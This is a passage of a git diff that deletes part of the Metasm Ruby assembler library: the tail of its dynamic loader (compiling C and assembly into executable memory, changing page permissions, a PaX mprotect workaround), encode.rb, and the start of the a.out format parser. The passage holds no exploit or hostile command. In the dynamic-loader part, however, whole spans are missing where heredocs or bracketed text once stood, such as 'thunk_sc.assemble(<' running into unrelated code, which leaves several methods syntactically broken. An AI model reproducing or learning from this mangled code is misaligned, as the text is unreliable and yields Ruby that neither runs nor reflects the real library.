asm_table.join("\n") - end - - # find the path of the binary module - # if none exists, create a path writeable by the current user - def self.find_bin_path - fname = ['dynldr', host_arch, host_cpu.shortname, - ('19' if RUBY_VERSION >= '1.9')].compact.join('-') + '.so' - dir = File.dirname(__FILE__) - binmodule = File.join(dir, fname) - if not File.exists? binmodule or File.stat(binmodule).mtime < File.stat(__FILE__).mtime - if not dir = find_write_dir - raise LoadError, "no writable dir to put the DynLdr ruby module, try to run as root" - end - binmodule = File.join(dir, fname) - end - binmodule - end - - # find a writeable directory - # searches this script directory, $HOME / %APPDATA% / %USERPROFILE%, or $TMP - def self.find_write_dir - writable = lambda { |d| - begin - foo = '/_test_write_' + rand(1<<32).to_s - true if File.writable?(d) and - File.open(d+foo, 'w') { true } and - File.unlink(d+foo) - rescue - end - } - dir = File.dirname(__FILE__) - return dir if writable[dir] - dir = ENV['HOME'] || ENV['APPDATA'] || ENV['USERPROFILE'] - if writable[dir] - dir = File.join(dir, '.metasm') - Dir.mkdir dir if not File.directory? dir - return dir - end - ENV['TMP'] || ENV['TEMP'] || '.' - end - - # CPU suitable for compiling code for the current running host - def self.host_cpu - @cpu ||= - case RUBY_PLATFORM - when /i[3-6]86/; Ia32.new - when /x86_64|x64/i; X86_64.new - else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" - end - end - - # returns whether we run on linux or windows - def self.host_arch - case RUBY_PLATFORM - when /linux/i; :linux - when /mswin|mingw|cygwin/i; :windows - else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" - end - end - - # ExeFormat suitable as current running host native module - def self.host_exe - case host_arch - when :linux; ELF - when :windows; PE - end - end - - # parse a C string into the @cp parser, create it if needed - def self.parse_c(src) - cp.parse(src) - end - - # compile a C fragment into a Shellcode_RWX, honors the host ABI - def self.compile_c(src) - # XXX could we reuse self.cp ? (for its macros etc) - cp = C::Parser.new(host_exe.new(host_cpu)) - cp.parse(src) - sc = Shellcode_RWX.new(host_cpu) - asm = host_cpu.new_ccompiler(cp, sc).compile - sc.assemble(asm) - end - - # maps a Shellcode_RWX in memory, fixup stdlib relocations - # returns the Shellcode_RWX, with the base_r/w/x initialized to the allocated memory - def self.sc_map_resolve(sc) - sc_map_resolve_addthunks(sc) - - sc.base_r = memory_alloc(sc.encoded_r.length) if sc.encoded_r.length > 0 - sc.base_w = memory_alloc(sc.encoded_w.length) if sc.encoded_w.length > 0 - sc.base_x = memory_alloc(sc.encoded_x.length) if sc.encoded_x.length > 0 - - locals = sc.encoded_r.export.keys | sc.encoded_w.export.keys | sc.encoded_x.export.keys - exts = sc.encoded_r.reloc_externals(locals) | sc.encoded_w.reloc_externals(locals) | sc.encoded_x.reloc_externals(locals) - bd = {} - exts.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise rescue raise "unknown symbol #{ext.inspect}" } - sc.fixup_check(bd) - - memory_write sc.base_r, sc.encoded_r.data if sc.encoded_r.length > 0 - memory_write sc.base_w, sc.encoded_w.data if sc.encoded_w.length > 0 - memory_write sc.base_x, sc.encoded_x.data if sc.encoded_x.length > 0 - - memory_perm sc.base_r, sc.encoded_r.length, 'r' if sc.encoded_r.length > 0 - memory_perm sc.base_w, sc.encoded_w.length, 'rw' if sc.encoded_w.length > 0 - memory_perm sc.base_x, sc.encoded_x.length, 'rx' if sc.encoded_x.length > 0 - - sc - end - - def self.sc_map_resolve_addthunks(sc) - case host_cpu.shortname - when 'x64' - # patch 'call moo' into 'call thunk; thunk: jmp qword [moo_ptr]' - # this is similar to ELF PLT section, allowing code to call - # into a library mapped more than 4G away - # XXX handles only 'call extern', not 'lea reg, extern' or anything else - # in this case, the linker will still raise an 'immediate overflow' - # during fixup_check in sc_map_resolve - [sc.encoded_r, sc.encoded_w, sc.encoded_x].each { |edata| - edata.reloc.dup.each { |off, rel| - # target only call extern / jmp.i32 extern - next if rel.type != :i32 - next if rel.target.op != :- - next if edata.export[rel.target.rexpr] != off+4 - next if edata.export[rel.target.lexpr] - opc = edata.data[off-1, 1].unpack('C')[0] - next if opc != 0xe8 and opc != 0xe9 - - thunk_sc = Shellcode.new(host_cpu).share_namespace(sc) - thunk = thunk_sc.assemble(<' - parse_c(proto) - - cp.toplevel.symbol.dup.each_value { |v| - next if not v.kind_of? C::Variable # enums - cp.toplevel.symbol.delete v.name - lib = fromlib || lib_from_sym(v.name) - addr = sym_addr(lib, v.name) - if addr == 0 or addr == -1 or addr == 0xffff_ffff or addr == 0xffffffff_ffffffff - api_not_found(lib, v) - next - end - - rbname = c_func_name_to_rb(v.name) - if not v.type.kind_of? C::Function - # not a function, simply return the symbol address - # TODO struct/table access through hash/array ? - class << self ; self ; end.send(:define_method, rbname) { addr } - next - end - next if v.initializer # inline & stuff - puts "new_api_c: load method #{rbname} from #{lib}" if $DEBUG - - new_caller_for(v, rbname, addr) - } - - # predeclare constants from enums - # macros are handled in const_missing (too slow to (re)do here everytime) - # TODO #define FOO(v) (v<<1)|1 => create ruby counterpart - cexist = constants.inject({}) { |h, c| h.update c.to_s => true } - cp.toplevel.symbol.each { |k, v| - if v.kind_of? ::Integer - n = c_const_name_to_rb(k) - const_set(n, v) if v.kind_of? Integer and not cexist[n] - end - } - - # avoid WTF rb warning: toplevel const TRUE referenced by WinAPI::TRUE - cp.lexer.definition.each_key { |k| - n = c_const_name_to_rb(k) - if not cexist[n] and Object.const_defined?(n) and v = @cp.macro_numeric(n) - const_set(n, v) - end - } - end - - # const_missing handler: will try to find a matching #define - def self.const_missing(c) - # infinite loop on autorequire C.. - return super(c) if not defined? @cp or not @cp - - cs = c.to_s - if @cp.lexer.definition[cs] - m = cs - else - m = @cp.lexer.definition.keys.find { |k| c_const_name_to_rb(k) == cs } - end - - if m and v = @cp.macro_numeric(m) - const_set(c, v) - v - else - super(c) - end - end - - # when defining ruby wrapper for C methods, the ruby method name is the string returned by this function from the C name - def self.c_func_name_to_rb(name) - n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.downcase - n = "m#{n}" if n !~ /^[a-z]/ - n - end - - # when defining ruby wrapper for C constants (numeric define/enum), the ruby const name is - # the string returned by this function from the C name. It should follow ruby standards (1st letter upcase) - def self.c_const_name_to_rb(name) - n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.upcase - n = "C#{n}" if n !~ /^[A-Z]/ - n - end - - def self.api_not_found(lib, func) - raise "could not find symbol #{func.name.inspect} in #{lib.inspect}" - end - - # called whenever a native API is called through new_api_c/new_func_c/etc - def self.trace_invoke(api, args) - #p api - end - - # define a new method 'name' in the current module to invoke the raw method at addr addr - # translates ruby args to raw args using the specified prototype - def self.new_caller_for(proto, name, addr) - flags = 0 - flags |= 1 if proto.has_attribute('stdcall') - flags |= 2 if proto.has_attribute('fastcall') - flags |= 4 if proto.type.type.integral? and cp.sizeof(nil, proto.type.type) == 8 - flags |= 8 if proto.type.type.float? - class << self ; self ; end.send(:define_method, name) { |*a| - raise ArgumentError, "bad arg count for #{name}: #{a.length} for #{proto.type.args.to_a.length}" if a.length != proto.type.args.to_a.length and not proto.type.varargs - - # convert the arglist suitably for raw_invoke - auto_cb = [] # list of automatic C callbacks generated from lambdas - a = a.zip(proto.type.args.to_a).map { |ra, fa| - aa = convert_rb2c(fa, ra, :cb_list => auto_cb) - if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 - aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] - aa.reverse! if host_cpu.endianness != :little - end - aa - }.flatten - - trace_invoke(name, a) - # do it - ret = raw_invoke(addr, a, flags) - - # cleanup autogenerated callbacks - auto_cb.each { |cb| callback_free(cb) } - - # interpret return value - ret = convert_ret_c2rb(proto, ret) - } - end - - # ruby object -> integer suitable as arg for raw_invoke - def self.convert_rb2c(formal, val, opts=nil) - case val - when String; str_ptr(val) - when Proc; cb = callback_alloc_cobj(formal, val) ; (opts[:cb_list] << cb if opts and opts[:cb_list]) ; cb - when C::AllocCStruct; str_ptr(val.str) + val.stroff - when Hash - if not formal.type.pointed.kind_of?(C::Struct) - raise "invalid argument #{val.inspect} for #{formal}, need a struct*" - end - buf = cp.alloc_c_struct(formal, val) - val.instance_variable_set('@rb2c', buf) # GC trick: lifetime(buf) >= lifetime(hash) (XXX or until next call to convert_rb2c) - str_ptr(buf.str) - #when Float; val # TODO handle that in raw_invoke C code - else - v = val.to_i rescue 0 # NaN, Infinity, etc - v = -v if v == -(1<<(cp.typesize[:ptr]*8-1)) # ruby bug... raise -0x8000_0000: out of ulong range - v - end - end - - # this method is called from the C part to run the ruby code corresponding to - # a given C callback allocated by callback_alloc_c - def self.callback_run(id, args) - cb = @@callback_table[id] - raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb - - rawargs = args.dup - if host_cpu.shortname == 'ia32' and (not cb[:proto_ori] or not cb[:proto_ori].has_attribute('fastcall')) - rawargs.shift - rawargs.shift - end - ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] - - # run it - ret = cb[:proc].call(*ra) - - # the C code expects to find in args[0] the amount of stack fixing needed for __stdcall callbacks - args[0] = cb[:abi_stackfix] || 0 - ret - end - - # C raw cb arg -> ruby object - # will combine 2 32bit values for 1 64bit arg - def self.convert_cbargs_c2rb(formal, rawargs) - val = rawargs.shift - if formal.type.integral? and cp.sizeof(formal) == 8 and host_cpu.size == 32 - if host.cpu.endianness == :little - val |= rawargs.shift << 32 - else - val = (val << 32) | rawargs.shift - end - end - - convert_c2rb(formal, val) - end - - # interpret a raw decoded C value to a ruby value according to the C prototype - # handles signedness etc - # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? - def self.convert_c2rb(formal, val) - formal = formal.type if formal.kind_of? C::Variable - val &= (1 << 8*cp.sizeof(formal))-1 if formal.integral? - val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? - val = nil if formal.pointer? and val == 0 - val - end - - # C raw ret -> ruby obj - # can be overridden for system-specific calling convention (eg return 0/-1 => raise an error) - def self.convert_ret_c2rb(fproto, ret) - fproto = fproto.type if fproto.kind_of? C::Variable - convert_c2rb(fproto.untypedef.type, ret) - end - - def self.cp ; @cp ||= C::Parser.new(host_exe.new(host_cpu)) ; end - def self.cp=(c); @cp = c ; end - - # allocate a callback for a given C prototype (string) - # accepts full C functions (with body) (only 1 at a time) or toplevel 'asm' statement - def self.callback_alloc_c(proto, &b) - proto += ';' # allow 'int foo()' - parse_c(proto) - v = cp.toplevel.symbol.values.find_all { |v_| v_.kind_of? C::Variable and v_.type.kind_of? C::Function }.first - if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } - cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } - cp.toplevel.symbol.delete v.name if v - sc = sc_map_resolve(compile_c(proto)) - sc.base_x - elsif not v - raise 'empty prototype' - else - cp.toplevel.symbol.delete v.name - callback_alloc_cobj(v, b) - end - end - - # allocates a callback for a given C prototype (C variable, pointer to func accepted) - def self.callback_alloc_cobj(proto, b) - ori = proto - proto = proto.type if proto and proto.kind_of? C::Variable - proto = proto.pointed while proto and proto.pointer? - id = callback_find_id - cb = {} - cb[:id] = id - cb[:proc] = b - cb[:proto] = proto - cb[:proto_ori] = ori - cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') - cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall - @@callback_table[id] = cb - id - end - - # releases a callback id, so that it may be reused by a later callback_alloc - def self.callback_free(id) - @@callback_table.delete id - end - - # finds a free callback id, allocates a new page if needed - def self.callback_find_id - if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - page_size = 4096 - cb_page = memory_alloc(page_size) - sc = Shellcode.new(host_cpu, cb_page) - case sc.cpu.shortname - when 'ia32' - asm = "call #{CALLBACK_TARGET}" - when 'x64' - if (cb_page - CALLBACK_TARGET).abs >= 0x7fff_f000 - # cannot directly 'jmp CB_T' - asm = "1: mov rax, #{CALLBACK_TARGET} push rax lea rax, [rip-$_+1b] ret" - else - asm = "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" - end - else - raise 'Who are you?' - end - - # fill the page with valid callbacks - loop do - off = sc.encoded.length - sc.assemble asm - break if sc.encoded.length > page_size - @@callback_addrs << (cb_page + off) - end - - memory_write cb_page, sc.encode_string[0, page_size] - memory_perm cb_page, page_size, 'rx' - - raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - end - id - end - - # compile a bunch of C functions, defines methods in this module to call them - # returns the raw pointer to the code page - # if given a block, run the block and then undefine all the C functions & free memory - def self.new_func_c(src) - sc = sc_map_resolve(compile_c(src)) - - parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... - defs = [] - cp.toplevel.symbol.dup.each_value { |v| - next if not v.kind_of? C::Variable - cp.toplevel.symbol.delete v.name - next if not v.type.kind_of? C::Function or not v.initializer - next if not off = sc.encoded_x.export[v.name] - rbname = c_func_name_to_rb(v.name) - new_caller_for(v, rbname, sc.base_x+off) - defs << rbname - } - if block_given? - begin - yield - ensure - defs.each { |d| class << self ; self ; end.send(:remove_method, d) } - memory_free sc.base_r if sc.base_r - memory_free sc.base_w if sc.base_w - memory_free sc.base_x if sc.base_x - end - else - sc.base_x - end - end - - # compile an asm sequence, callable with the ABI of the C prototype given - # function name comes from the prototype - # the shellcode is mapped in read-only memory unless selfmodifyingcode is true - # note that you can use a .data section for simple writable non-executable memory - def self.new_func_asm(proto, asm, selfmodifyingcode=false) - proto += "\n;" - old = cp.toplevel.symbol.keys - parse_c(proto) - news = cp.toplevel.symbol.keys - old - raise "invalid proto #{proto}" if news.length != 1 - f = cp.toplevel.symbol[news.first] - raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer - cp.toplevel.symbol.delete f.name - - sc = Shellcode_RWX.assemble(host_cpu, asm) - sc = sc_map_resolve(sc) - if selfmodifyingcode - memory_perm sc.base_x, sc.encoded_x.length, 'rwx' - end - rbname = c_func_name_to_rb(f.name) - new_caller_for(f, rbname, sc.base_x) - if block_given? - begin - yield - ensure - class << self ; self ; end.send(:remove_method, rbname) - memory_free sc.base_r if sc.base_r - memory_free sc.base_w if sc.base_w - memory_free sc.base_x - end - else - sc.base_x - end - end - - # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c - def self.alloc_c_struct(structname, values={}) - cp.alloc_c_struct(structname, values) - end - - # return a C::AllocCStruct mapped over the string (with optionnal offset) - # str may be an EncodedData - def self.decode_c_struct(structname, str, off=0) - str = str.data if str.kind_of? EncodedData - cp.decode_c_struct(structname, str, off) - end - - # allocate a C::AllocCStruct holding an Array of typename variables - # if len is an int, it holds the ary length, or it can be an array of initialisers - # eg alloc_c_ary("int", [4, 5, 28]) - def self.alloc_c_ary(typename, len) - cp.alloc_c_ary(typename, len) - end - - # return a C::AllocCStruct holding an array of type typename mapped over str - def self.decode_c_ary(typename, len, str, off=0) - cp.decode_c_ary(typename, len, str, off) - end - - # return an AllocCStruct holding an array of 1 element of type typename - # access its value with obj[0] - # useful when you need a pointer to an int that will be filled by an API: use alloc_c_ptr('int') - def self.alloc_c_ptr(typename, init=nil) - cp.alloc_c_ary(typename, (init ? [init] : 1)) - end - - # return the binary version of a ruby value encoded as a C variable - # only integral types handled for now - def self.encode_c_value(var, val) - cp.encode_c_value(var, val) - end - - # decode a C variable - # only integral types handled for now - def self.decode_c_value(str, var, off=0) - cp.decode_c_value(str, var, off) - end - - # read a 0-terminated string from memory - def self.memory_read_strz(ptr, szmax=4096) - # read up to the end of the ptr memory page - pglim = (ptr + 0x1000) & ~0xfff - sz = [pglim-ptr, szmax].min - data = memory_read(ptr, sz) - return data[0, data.index(?\0)] if data.index(?\0) - if sz < szmax - data = memory_read(ptr, szmax) - data = data[0, data.index(?\0)] if data.index(?\0) - end - data - end - - # read a 0-terminated wide string from memory - def self.memory_read_wstrz(ptr, szmax=4096) - # read up to the end of the ptr memory page - pglim = (ptr + 0x1000) & ~0xfff - sz = [pglim-ptr, szmax].min - data = memory_read(ptr, sz) - if i = data.unpack('v*').index(0) - return data[0, 2*i] - end - if sz < szmax - data = memory_read(ptr, szmax) - data = data[0, 2*i] if i = data.unpack('v*').index(0) - end - data - end - - # automatically build/load the bin module - start - - case host_arch - when :windows - - new_api_c < PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, - 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] - virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) - end - - when :linux - - new_api_c < 0 and @memory_perm_wd ||= find_write_dir - # We are on a PaX-mprotected system. Try to use a file mapping to work aroud. - Dir.chdir(@memory_perm_wd) { - fname = 'tmp_mprot_%d_%x' % [Process.pid, addr] - data = memory_read(addr, len) - begin - File.open(fname, 'w') { |fd| fd.write data } - # reopen to ensure filesystem flush - rret = File.open(fname, 'r') { |fd| mmap(addr, len, p, MAP_FIXED|MAP_PRIVATE, fd.fileno, 0) } - raise 'hax' if data != memory_read(addr, len) - ret = 0 if rret == addr - ensure - File.unlink(fname) rescue nil - end - } - end - - ret - end - - end -end -end diff --git a/lib/metasm/metasm/encode.rb b/lib/metasm/metasm/encode.rb deleted file mode 100644 index ef6fa74f7e..0000000000 --- a/lib/metasm/metasm/encode.rb +++ /dev/null @@ -1,342 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class ExeFormat - # encodes an Array of source (Label/Data/Instruction etc) to an EncodedData - # resolves ambiguities using +encode_resolve+ - def assemble_sequence(seq, cpu) - # an array of edata or sub-array of ambiguous edata - # its last element is always an edata - ary = [EncodedData.new] - - seq.each { |e| - case e - when Label; ary.last.add_export(e.name, ary.last.virtsize) - when Data; ary.last << e.encode(cpu.endianness) - when Align, Padding - e.fillwith = e.fillwith.encode(cpu.endianness) if e.fillwith and not e.fillwith.kind_of? EncodedData - ary << e << EncodedData.new - when Offset; ary << e << EncodedData.new - when Instruction - case i = cpu.encode_instruction(self, e) - when Array - case i.length - when 0; raise EncodeError, "failed to encode #{e}" - when 1; ary.last << i.first - else ary << i << EncodedData.new # to solve later - end - else - ary.last << i - end - end - } - - edata = (ary.length > 1) ? assemble_resolve(ary) : ary.shift - edata.fixup edata.binding - edata - end - - # chose among multiple possible sub-EncodedData - # assumes all ambiguous edata have the equivallent relocations in the same order - def assemble_resolve(ary) - startlabel = new_label('section_start') - - # create two bindings where all elements are the shortest/longest possible - minbinding = {} - minoff = 0 - maxbinding = {} - maxoff = 0 - - ary.each { |elem| - case elem - when Array - if elem.all? { |ed| ed.kind_of? EncodedData and ed.reloc.empty? } - elem = [elem.sort_by { |ed| ed.length }.first] - end - elem.each { |e| - e.export.each { |label, off| - minbinding[label] = Expression[startlabel, :+, minoff + off] - maxbinding[label] = Expression[startlabel, :+, maxoff + off] - } - } - minoff += elem.map { |e| e.virtsize }.min - maxoff += elem.map { |e| e.virtsize }.max - - when EncodedData - elem.export.each { |label, off| - minbinding[label] = Expression[startlabel, :+, minoff + off] - maxbinding[label] = Expression[startlabel, :+, maxoff + off] - } - minoff += elem.virtsize - maxoff += elem.virtsize - - when Align - minoff += 0 - maxoff += elem.val - 1 - - when Padding - # find the surrounding Offsets and compute the largest/shortest edata sizes to determine min/max length for the padding - prevoff = ary[0..ary.index(elem)].grep(Offset).last - nextoff = ary[ary.index(elem)..-1].grep(Offset).first - raise elem, 'need .offset after .pad' if not nextoff - - # find all elements between the surrounding Offsets - previdx = prevoff ? ary.index(prevoff) + 1 : 0 - surround = ary[previdx..ary.index(nextoff)-1] - surround.delete elem - if surround.find { |nelem| nelem.kind_of? Padding } - raise elem, 'need .offset beetween two .pad' - end - if surround.find { |nelem| nelem.kind_of? Align and ary.index(nelem) > ary.index(elem) } - raise elem, 'cannot .align after a .pad' # XXX really ? - end - - # lenmin/lenmax are the extrem length of the Padding - nxt = Expression[nextoff.val] - ext = nxt.externals - raise elem, "bad offset #{nxt}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) - nxt = Expression[nxt, :-, startlabel] if not nxt.bind(minbinding).reduce.kind_of? ::Integer - prv = Expression[prevoff ? prevoff.val : 0] - ext = prv.externals - raise elem, "bad offset #{prv}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) - prv = Expression[prv, :-, startlabel] if not prv.bind(minbinding).reduce.kind_of? ::Integer - - lenmin = Expression[nxt.bind(minbinding), :-, prv.bind(maxbinding)].reduce - lenmax = Expression[nxt.bind(maxbinding), :-, prv.bind(minbinding)].reduce - raise elem, "bad labels: #{lenmin}" if not lenmin.kind_of? ::Integer or not lenmax.kind_of? ::Integer - surround.each { |nelem| - case nelem - when Array - lenmin -= nelem.map { |e| e.virtsize }.max - lenmax -= nelem.map { |e| e.virtsize }.min - when EncodedData - lenmin -= nelem.virtsize - lenmax -= nelem.virtsize - when Align - lenmin -= nelem.val - 1 - lenmax -= 0 - end - } - raise elem, "no room for .pad before '.offset #{nextoff.val}' at #{Backtrace.backtrace_str(nextoff.backtrace)}, need at least #{-lenmax} more bytes" if lenmax < 0 - minoff += [lenmin, 0].max - maxoff += lenmax - - when Offset - # nothing to do for now - else - raise "Internal error: bad object #{elem.inspect} in encode_resolve" - end - } - - # checks an expression linearity - check_linear = lambda { |expr| - expr = expr.reduce if expr.kind_of? Expression - while expr.kind_of? Expression - case expr.op - when :* - if expr.lexpr.kind_of? Numeric; expr = expr.rexpr - elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else break - end - when :/, :>>, :<< - if expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else break - end - when :+, :- - if not expr.lexpr; expr = expr.rexpr - elsif expr.lexpr.kind_of? Numeric; expr = expr.rexpr - elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else - break if not check_linear[expr.rexpr] - expr = expr.lexpr - end - else break - end - end - - not expr.kind_of? Expression - } - - # now we can resolve all relocations - # for linear expressions of internal variables (ie differences of labels from the ary): - # - calc target numeric bounds, and reject relocs not accepting worst case value - # - else reject all but largest place available - # then chose the shortest overall EData left - ary.map! { |elem| - case elem - when Array - # for each external, compute numeric target values using minbinding[external] and maxbinding[external] - # this gives us all extrem values for linear expressions - target_bounds = {} - rec_checkminmax = lambda { |idx, target, binding, extlist| - if extlist.empty? - (target_bounds[idx] ||= []) << target.bind(binding).reduce - else - rec_checkminmax[idx, target, binding.merge(extlist.last => minbinding[extlist.last]), extlist[0...-1]] - rec_checkminmax[idx, target, binding.merge(extlist.last => maxbinding[extlist.last]), extlist[0...-1]] - end - } - # biggest size disponible for this relocation (for non-linear/external) - wantsize = {} - - elem.each { |e| - e.reloc.sort.each_with_index { |r_, i| - r = r_[1] - # has external ref - if not r.target.bind(minbinding).reduce.kind_of?(Numeric) or not check_linear[r.target] - # find the biggest relocation type for the current target - wantsize[i] = elem.map { |edata| - edata.reloc.sort[i][1].type - }.sort_by { |type| Expression::INT_SIZE[type] }.last # XXX do not use rel.length - else - rec_checkminmax[i, r.target, {}, r.target.externals] - end - } - } - - # reject candidates with reloc type too small - acceptable = elem.find_all { |edata| - r = edata.reloc.sort - (0...r.length).all? { |i| - if wantsize[i] - r[i][1].type == wantsize[i] - else - target_bounds[i].all? { |b| Expression.in_range?(b, r[i][1].type) } - end - } - } - - raise EncodeError, "cannot find candidate in #{elem.inspect}, immediate too big #{wantsize.inspect} #{target_bounds.inspect}" if acceptable.empty? - - # keep the shortest - acceptable.sort_by { |edata| edata.virtsize }.first - else - elem - end - } - - # assemble all parts, resolve padding sizes, check offset directives - edata = EncodedData.new - - # fills edata with repetitions of data until targetsize - fillwith = lambda { |targetsize, data| - if data - if data.reloc.empty? and not data.data.empty? # avoid useless iterations - nr = (targetsize-edata.virtsize) / data.length - 1 - if nr > 0 - dat = data.data.ljust(data.virtsize, 0.chr) - edata << (dat * nr) - end - end - while edata.virtsize + data.virtsize <= targetsize - edata << data - end - if edata.virtsize < targetsize - edata << data[0, targetsize - edata.virtsize] - end - else - edata.virtsize = targetsize - end - } - - ary.each { |elem| - case elem - when EncodedData - edata << elem - when Align - fillwith[EncodedData.align_size(edata.virtsize, elem.val), elem.fillwith] - when Offset - raise EncodeError, "could not enforce .offset #{elem.val} #{elem.backtrace}: offset now #{edata.virtsize}" if edata.virtsize != Expression[elem.val].bind(edata.binding(0)).reduce - when Padding - nextoff = ary[ary.index(elem)..-1].grep(Offset).first - targetsize = Expression[nextoff.val].bind(edata.binding(0)).reduce - ary[ary.index(elem)+1..ary.index(nextoff)-1].each { |nelem| targetsize -= nelem.virtsize } - raise EncodeError, "no room for .pad #{elem.backtrace_str} before .offset #{nextoff.val}, would be #{targetsize-edata.length} bytes long" if targetsize < edata.length - fillwith[targetsize, elem.fillwith] - else raise "Internal error: #{elem.inspect}" - end - } - - edata - end -end - -class Expression - def encode(type, endianness, backtrace=nil) - case val = reduce - when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) - else - str = case INT_SIZE[type] - when 8; "\0" - when 16; "\0\0" - when 32; "\0\0\0\0" - when 64; "\0\0\0\0\0\0\0\0" - else [0].pack('C')*(INT_SIZE[type]/8) - end - str = str.force_encoding('BINARY') if str.respond_to?(:force_encoding) - EncodedData.new(str, :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) - end - end - - class << self - def encode_imm(val, type, endianness, backtrace=nil) - type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer - endianness = endianness.endianness if not endianness.kind_of? ::Symbol - raise "unsupported endianness #{endianness.inspect}" unless [:big, :little].include? endianness - raise(EncodeError, "immediate overflow #{type.inspect} #{Expression[val]} #{(Backtrace::backtrace_str(backtrace) if backtrace)}") if not in_range?(val, type) - s = (0...INT_SIZE[type]/8).map { |i| (val >> (8*i)) & 0xff }.pack('C*') - endianness != :little ? s.reverse : s - end - alias encode_immediate encode_imm - end -end - -class Data - def encode(endianness) - edata = case @data - when :uninitialized - EncodedData.new('', :virtsize => Expression::INT_SIZE[INT_TYPE[@type]]/8) - when String - # db 'foo' => 'foo' # XXX could be optimised, but should not be significant - # dw 'foo' => "f\0o\0o\0" / "\0f\0o\0o" - @data.unpack('C*').inject(EncodedData.new) { |ed, chr| ed << Expression.encode_imm(chr, INT_TYPE[@type], endianness, @backtrace) } - when Expression - @data.encode INT_TYPE[@type], endianness, @backtrace - when Array - @data.inject(EncodedData.new) { |ed, d| ed << d.encode(endianness) } - end - - # n times - (0...@count).inject(EncodedData.new) { |ed, cnt| ed << edata } - end -end - -class CPU - # returns an EncodedData or an ary of them - # uses +#parse_arg_valid?+ to find the opcode whose signature matches with the instruction - # uses +encode_instr_op+ (arch-specific) - def encode_instruction(program, i) - errmsg = '' - oplist = opcode_list_byname[i.opname].to_a.find_all { |o| - o.args.length == i.args.length and - o.args.zip(i.args).all? { |f, a| parse_arg_valid?(o, f, a) } - }.map { |op| - begin - encode_instr_op(program, i, op) - rescue EncodeError - errmsg = " (#{$!.message})" - nil - end - }.compact.flatten - raise EncodeError, "no matching opcode found for #{i}#{errmsg}" if oplist.empty? - oplist.each { |ed| ed.reloc.each_value { |v| v.backtrace = i.backtrace } } - oplist - end -end -end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb deleted file mode 100644 index c273d51c55..0000000000 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ /dev/null @@ -1,197 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -class AOut < ExeFormat - MAGIC = { 0407 => 'OMAGIC', 0410 => 'NMAGIC', 0413 => 'ZMAGIC', - 0314 => 'QMAGIC', 0421 => 'CMAGIC' - } - MACHINE_TYPE = { 0 => 'OLDSUN2', 1 => '68010', 2 => '68020', - 3 => 'SPARC', 100 => 'PC386', 134 => 'I386', 135 => 'M68K', - 136 => 'M68K4K', 137 => 'NS32532', 138 => 'SPARC', - 139 => 'PMAX', 140 => 'VAX', 141 => 'ALPHA', 142 => 'MIPS', - 143 => 'ARM6', 151 => 'MIPS1', 152 => 'MIPS2', 300 => 'HP300', - 0x20B => 'HPUX800', 0x20C => 'HPUX' - } - FLAGS = { 0x10 => 'PIC', 0x20 => 'DYNAMIC' } - SYMBOL_TYPE = { 0 => 'UNDF', 1 => 'ABS', 2 => 'TEXT', - 3 => 'DATA', 4 => 'BSS', 5 => 'INDR', 6 => 'SIZE', - 9 => 'COMM', 10=> 'SETA', 11=> 'SETT', 12=> 'SETD', - 13=> 'SETB', 14=> 'SETV', 15=> 'FN' - } - - attr_accessor :endianness, :header, :text, :data, :symbols, :textrel, :datarel - - class Header < SerialStruct - bitfield :word, 0 => :magic, 16 => :machtype, 24 => :flags - fld_enum(:magic, MAGIC) - fld_enum(:machtype, MACHINE_TYPE) - fld_bits(:flags, FLAGS) - words :text, :data, :bss, :syms, :entry, :trsz, :drsz - - def decode(aout) - super(aout) - - case @magic - when 'OMAGIC', 'NMAGIC', 'ZMAGIC', 'QMAGIC' - else raise InvalidExeFormat, "Bad A.OUT signature #@magic" - end - end 